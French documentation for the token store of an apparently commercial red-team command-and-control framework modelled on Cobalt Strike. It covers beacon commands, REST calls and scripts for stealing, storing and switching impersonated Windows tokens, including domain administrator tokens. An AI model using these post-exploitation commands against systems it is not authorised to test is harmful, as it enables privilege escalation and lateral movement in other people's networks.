Magasin de jetons¶

Le magasin de jetons assure une gestion persistante des jetons sur tous les commutateurs d'usurpation d'identité. Les jetons volés dans les processus ou créés avec des informations d'identification sont stockés sous forme de doublons indépendants qui survivent à rev2self. Les opérateurs peuvent répertorier, basculer entre et supprimer les jetons stockés sans les voler à nouveau.

Cela correspond au comportement du magasin de jetons Cobalt Strike v4.12.

Commandes du magasin de jetons¶

Commandes de base des jetons¶

Flux de travail du magasin de jetons¶

sequenceDiagram
    participant Op as Operator
    participant BC as Beacon
    participant TM as Token Manager

    Op->>BC: token_store_steal 1234
    BC->>TM: OpenProcess(1234) → DuplicateToken
    TM->>TM: Store token (ID=1)
    TM->>TM: Impersonate DOMAIN\DomainAdmin
    BC-->>Op: [+] Impersonating DOMAIN\DomainAdmin (stored ID=1)

    Op->>BC: token_store_steal 5678
    TM->>TM: Store token (ID=2)
    TM->>TM: Impersonate DOMAIN\svc_sql
    BC-->>Op: [+] Impersonating DOMAIN\svc_sql (stored ID=2)

    Op->>BC: token_store_use 1
    TM->>TM: Switch to stored ID=1
    BC-->>Op: [+] Switched to DOMAIN\DomainAdmin

    Op->>BC: rev2self
    TM->>TM: Revert (tokens still in store)
    BC-->>Op: [*] Reverted to original identity

    Op->>BC: token_store_use 2
    TM->>TM: Re-impersonate ID=2
    BC-->>Op: [+] Switched to DOMAIN\svc_sql

Référence des commandes¶

token_store_steal <pid>¶

Volez atomiquement un jeton à un processus, usurpez-le et stockez-le dans le magasin de jetons. Il s’agit d’une seule opération aller-retour (et non de deux tâches distinctes).

Syntaxe du shell :

token_store_steal 1234

Exemple d'API :

# Via REST endpoint
curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/token/steal" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"pid": 1234}'

Scripts CNA :

btoken_store_steal($bid, 1234);

token_store_show¶

Répertoriez tous les jetons actuellement dans le magasin avec leurs métadonnées.

Syntaxe du shell :

token_store_show

Exemple d'API :

curl -s "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/token/list" \
  -H "Authorization: Bearer $TOKEN"

Exemple de résultat :

Token Store (3 entries):

  ID  Type     PID   Username              SID
  --  ----     ---   --------              ---
  1   stolen   1234  CORP\DomainAdmin      S-1-5-21-...-512
  2   stolen   5678  CORP\svc_sql          S-1-5-21-...-1105
  3   created  --    CORP\jsmith (network) S-1-5-21-...-1103

Scripts CNA :

btoken_store_show($bid);

token_store_use <id>¶

Basculez vers un jeton précédemment stocké grâce à son identifiant de magasin.

Syntaxe du shell :

token_store_use 1

Exemple d'API :

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/token/use" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"store_id": 1}'

Scripts CNA :

btoken_store_use($bid, 1);

token_store_remove <id>¶

Supprimez un jeton spécifique du magasin et fermez sa poignée.

Syntaxe du shell :

token_store_remove 2

Scripts CNA :

btoken_store_remove($bid, 2);

token_store_remove_all¶

Effacez l’intégralité du magasin de jetons, en fermant tous les handles stockés.

Syntaxe du shell :

token_store_remove_all

Scripts CNA :

btoken_store_remove_all($bid);

Modèle d'identité¶

Le gestionnaire de jetons distingue deux types d'usurpation d'identité :

• steal_token duplique un jeton de processus existant. Changement d'identité locale et réseau pour le propriétaire du jeton
• make_token crée un jeton de connexion avec LogonUser(LOGON32_LOGON_NEW_CREDENTIALS). L'identité locale du beacon reste la même, mais les opérations réseau s'authentifient en tant qu'utilisateur spécifié

Stockage automatique des jetons¶

Depuis la version 20.0, steal_token et make_token stockent automatiquement les jetons dans le coffre-fort de jetons aux côtés des commandes explicites token_store_*. Chaque opération de jeton enregistre des métadonnées pour le suivi opérationnel :

Les échecs de stockage automatique ne sont pas fatals : l'opération réussit et renvoie storeID=0 en cas d'échec du stockage. L'ID de magasin actif est suivi sur plusieurs plates-formes (défini dans tokenmanager.go).

Points de terminaison de l'API REST¶